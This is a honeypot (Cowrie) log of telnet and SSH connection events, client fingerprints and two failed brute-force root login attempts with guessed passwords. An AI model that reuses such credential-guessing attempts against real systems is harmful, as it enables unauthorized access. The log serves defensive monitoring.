{"eventid":"cowrie.session.closed","duration":30.743839502334595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:00.085712Z","src_ip":"75.119.159.60","session":"827803b1c18d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864298820495605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:00.090175Z","src_ip":"94.23.76.26","session":"81ab83f5ba3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.135369777679443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:01.042584Z","src_ip":"94.23.76.26","session":"b2e9c9df2743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.848562955856323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:01.083918Z","src_ip":"94.23.76.26","session":"e4b85e66090d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993680953979492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:01.112324Z","src_ip":"46.4.8.162","session":"ee0735d7c3cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":50838,"dst_ip":"159.203.135.109","dst_port":23,"session":"23d4b2e53fa6","protocol":"telnet","message":"New connection: 94.23.76.26:50838 (159.203.135.109:23) [session: 23d4b2e53fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:01.180266Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":37420,"dst_ip":"159.203.135.109","dst_port":23,"session":"164525b7d7fe","protocol":"telnet","message":"New connection: 35.187.38.22:37420 (159.203.135.109:23) [session: 164525b7d7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:01.321274Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":37880,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ba0a3aeaa9c","protocol":"telnet","message":"New connection: 35.187.38.22:37880 (159.203.135.109:23) [session: 9ba0a3aeaa9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:01.400211Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":34704,"dst_ip":"159.203.135.109","dst_port":23,"session":"d34566422502","protocol":"telnet","message":"New connection: 46.4.8.162:34704 (159.203.135.109:23) [session: d34566422502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:01.778926Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":35976,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb8416a6449b","protocol":"telnet","message":"New connection: 46.4.8.162:35976 (159.203.135.109:23) [session: fb8416a6449b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:04.713665Z"}
{"eventid":"cowrie.session.closed","duration":37.561280727386475,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:04.933185Z","src_ip":"46.4.8.162","session":"55f1bfdd2dc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850720405578613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:05.065133Z","src_ip":"94.23.76.26","session":"80bf63012d16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":50850,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a372714e658","protocol":"telnet","message":"New connection: 94.23.76.26:50850 (159.203.135.109:23) [session: 0a372714e658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:05.287920Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":54214,"dst_ip":"159.203.135.109","dst_port":23,"session":"57b40625863b","protocol":"telnet","message":"New connection: 94.23.76.26:54214 (159.203.135.109:23) [session: 57b40625863b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:06.317517Z"}
{"eventid":"cowrie.session.closed","duration":30.968857049942017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:07.198722Z","src_ip":"94.23.76.26","session":"5686bfc5b5c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926611185073853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:07.205143Z","src_ip":"94.23.76.26","session":"1c46347a3030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":45316,"dst_ip":"159.203.135.109","dst_port":23,"session":"5850facff20c","protocol":"telnet","message":"New connection: 35.187.38.22:45316 (159.203.135.109:23) [session: 5850facff20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:07.381253Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":45404,"dst_ip":"159.203.135.109","dst_port":23,"session":"538579a7ca23","protocol":"telnet","message":"New connection: 35.187.38.22:45404 (159.203.135.109:23) [session: 538579a7ca23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:07.395094Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":46558,"dst_ip":"159.203.135.109","dst_port":23,"session":"b886e04047aa","protocol":"telnet","message":"New connection: 35.187.38.22:46558 (159.203.135.109:23) [session: b886e04047aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:08.278258Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":47036,"dst_ip":"159.203.135.109","dst_port":23,"session":"419e4d4d9c00","protocol":"telnet","message":"New connection: 35.187.38.22:47036 (159.203.135.109:23) [session: 419e4d4d9c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:08.422327Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":47346,"dst_ip":"159.203.135.109","dst_port":23,"session":"b126c94465a9","protocol":"telnet","message":"New connection: 35.187.38.22:47346 (159.203.135.109:23) [session: b126c94465a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:08.485836Z"}
{"eventid":"cowrie.session.closed","duration":30.93738603591919,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:10.175908Z","src_ip":"94.23.76.26","session":"7988e8c23962","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08531951904297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:11.149131Z","src_ip":"94.23.76.26","session":"e9d338f4df2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.251.163","src_port":34374,"dst_ip":"159.203.135.109","dst_port":23,"session":"afbbb34f66dd","protocol":"telnet","message":"New connection: 185.207.251.163:34374 (159.203.135.109:23) [session: afbbb34f66dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:12.281979Z"}
{"eventid":"cowrie.session.closed","duration":35.013697147369385,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:12.286071Z","src_ip":"46.4.8.162","session":"9bf4cc818a3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.862929821014404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:13.145675Z","src_ip":"94.23.76.26","session":"2e0178438019","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":54222,"dst_ip":"159.203.135.109","dst_port":23,"session":"9acc8540167d","protocol":"telnet","message":"New connection: 94.23.76.26:54222 (159.203.135.109:23) [session: 9acc8540167d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:14.221923Z"}
{"eventid":"cowrie.session.closed","duration":30.777637004852295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:14.233530Z","src_ip":"35.187.38.22","session":"1129323a0332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.750936031341553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:14.248763Z","src_ip":"35.187.38.22","session":"2616a2516d0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.145020723342896,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:14.273119Z","src_ip":"46.4.8.162","session":"bad8f177342b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80301284790039,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:15.044436Z","src_ip":"94.23.76.26","session":"836fa3ca957c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29314374923706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:15.241401Z","src_ip":"35.187.38.22","session":"6fac66bcec6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.956690073013306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:15.291459Z","src_ip":"35.187.38.22","session":"480573fa6aae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":55272,"dst_ip":"159.203.135.109","dst_port":23,"session":"de9f3a9772de","protocol":"telnet","message":"New connection: 35.187.38.22:55272 (159.203.135.109:23) [session: de9f3a9772de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:15.375912Z"}
{"eventid":"cowrie.session.closed","duration":33.97327280044556,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:16.247298Z","src_ip":"46.4.8.162","session":"214f8eb302d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.248610019683838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:16.336265Z","src_ip":"35.187.38.22","session":"e371b11f799c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.76811718940735,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:17.092419Z","src_ip":"46.4.8.162","session":"3bce0dd18321","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":36480,"dst_ip":"159.203.135.109","dst_port":23,"session":"d171580f8686","protocol":"telnet","message":"New connection: 94.23.76.26:36480 (159.203.135.109:23) [session: d171580f8686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:18.662194Z"}
{"eventid":"cowrie.session.closed","duration":31.074737787246704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:19.053192Z","src_ip":"94.23.76.26","session":"776f4ae12c66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80813217163086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:20.102668Z","src_ip":"185.207.251.163","session":"c5c79c8b0eb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":54222,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f7057cb6355","protocol":"telnet","message":"New connection: 46.4.8.162:54222 (159.203.135.109:23) [session: 0f7057cb6355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:20.181132Z"}
{"eventid":"cowrie.session.closed","duration":30.886891841888428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:20.265495Z","src_ip":"35.187.38.22","session":"3304a220b267","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906694650650024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:20.269053Z","src_ip":"35.187.38.22","session":"722f6e8003bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98502278327942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:21.230983Z","src_ip":"35.187.38.22","session":"6cedd93754ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057941913604736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:21.290187Z","src_ip":"35.187.38.22","session":"dc338cc73646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96166753768921,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:21.294885Z","src_ip":"35.187.38.22","session":"e17a527e5966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14223289489746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:21.604258Z","src_ip":"46.4.8.162","session":"7fb85098263c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.129976749420166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:21.763368Z","src_ip":"94.23.76.26","session":"6315ba4b71c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.475982189178467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:22.125185Z","src_ip":"185.207.251.163","session":"9d01930185e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":25769,"dst_ip":"159.203.135.109","dst_port":22,"session":"b70ead19647b","protocol":"ssh","message":"New connection: 223.197.186.7:25769 (159.203.135.109:22) [session: b70ead19647b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:22.211682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:22.216674Z","src_ip":"223.197.186.7","session":"b70ead19647b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:22.436990Z","src_ip":"223.197.186.7","session":"b70ead19647b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.794681310653687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:23.051229Z","src_ip":"94.23.76.26","session":"46e499f18aca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":36482,"dst_ip":"159.203.135.109","dst_port":23,"session":"147aa345aa87","protocol":"telnet","message":"New connection: 94.23.76.26:36482 (159.203.135.109:23) [session: 147aa345aa87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:23.337323Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1991","message":"login attempt [root/root1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:23.348309Z","src_ip":"223.197.186.7","session":"b70ead19647b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":37982,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c7cec2980ad","protocol":"telnet","message":"New connection: 35.187.38.22:37982 (159.203.135.109:23) [session: 7c7cec2980ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:23.445667Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":51952,"dst_ip":"159.203.135.109","dst_port":22,"session":"cddb6885e3ff","protocol":"ssh","message":"New connection: 103.148.100.146:51952 (159.203.135.109:22) [session: cddb6885e3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:24.262289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:24.267063Z","src_ip":"103.148.100.146","session":"cddb6885e3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9053156375885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:24.278585Z","src_ip":"94.23.76.26","session":"3402bfe5c60b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:24.540635Z","src_ip":"103.148.100.146","session":"cddb6885e3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:24.566000Z","src_ip":"223.197.186.7","session":"b70ead19647b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.373212099075317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:24.582059Z","src_ip":"94.23.76.26","session":"2757584c6a15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":36484,"dst_ip":"159.203.135.109","dst_port":23,"session":"74a007e03181","protocol":"telnet","message":"New connection: 94.23.76.26:36484 (159.203.135.109:23) [session: 74a007e03181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:25.212203Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33414,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cf29e7cf26f","protocol":"telnet","message":"New connection: 46.4.8.162:33414 (159.203.135.109:23) [session: 0cf29e7cf26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:25.521534Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"manga123","message":"login attempt [root/manga123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:25.628361Z","src_ip":"103.148.100.146","session":"cddb6885e3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.835365056991577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:26.038678Z","src_ip":"94.23.76.26","session":"c26c63995299","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33412,"dst_ip":"159.203.135.109","dst_port":23,"session":"91dc75093d01","protocol":"telnet","message":"New connection: 46.4.8.162:33412 (159.203.135.109:23) [session: 91dc75093d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:26.459854Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:26.897490Z","src_ip":"103.148.100.146","session":"cddb6885e3ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":50272,"dst_ip":"159.203.135.109","dst_port":23,"session":"009131410419","protocol":"telnet","message":"New connection: 94.23.76.26:50272 (159.203.135.109:23) [session: 009131410419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:27.197107Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":50288,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5344142b18e","protocol":"telnet","message":"New connection: 94.23.76.26:50288 (159.203.135.109:23) [session: f5344142b18e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:27.335066Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33422,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c5bbf587058","protocol":"telnet","message":"New connection: 46.4.8.162:33422 (159.203.135.109:23) [session: 6c5bbf587058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:27.929127Z"}
{"eventid":"cowrie.session.closed","duration":31.96008324623108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:29.028117Z","src_ip":"46.4.8.162","session":"003178c4f54a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.06276059150696,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:29.149005Z","src_ip":"46.4.8.162","session":"b3028ef022b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09282422065735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:29.187132Z","src_ip":"94.23.76.26","session":"a643d6f119ee","protocol":"telnet"}
